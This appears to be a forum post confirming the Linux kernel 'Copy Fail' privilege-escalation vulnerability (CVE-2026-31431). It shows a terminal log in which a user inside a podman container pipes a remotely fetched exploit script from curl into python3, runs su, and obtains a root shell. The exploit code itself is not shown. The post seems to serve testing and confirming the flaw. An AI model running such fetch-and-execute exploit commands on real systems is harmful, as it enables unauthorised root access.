CVE-2026-31431 - Copy Fail - Linux kernel crypto vulnerability

Yes, the exploit does not run with python3.9. I used podman..

[root@rocky9 ~]# podman run --user 1000:1000 -it --rm python:3.11 bash
Resolved “python” as an alias (/etc/containers/registries.conf.d/000-shortnames.conf)
Trying to pull Docker Hub Container Image Library | App Containerization
Getting image source signatures
Copying blob 6cf369abc841 done |
Copying blob 3b32e3bb7338 done |
Copying blob 20d12c8f3f3f done |
Copying blob 5467f93954cf done |
Copying blob 1e1bb20756a8 done |
Copying blob 5e69c8985c08 done |
Copying blob c380448934e9 done |
Copying config 1683e38056 done |
Writing manifest to image destination
vagrant@cf1f4bfcee10:/$
vagrant@cf1f4bfcee10:/$
vagrant@cf1f4bfcee10:/$ curl Copy Fail: 732 Bytes to Root on Every Major Linux Distribution. - Xint | python3 && su
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 731 0 731 0 0 5231 0 --:–:-- --:–:-- --:–:-- 5258
#
#
# whoami
root
#
#
# exit
vagrant@cf1f4bfcee10:/$ exit
exit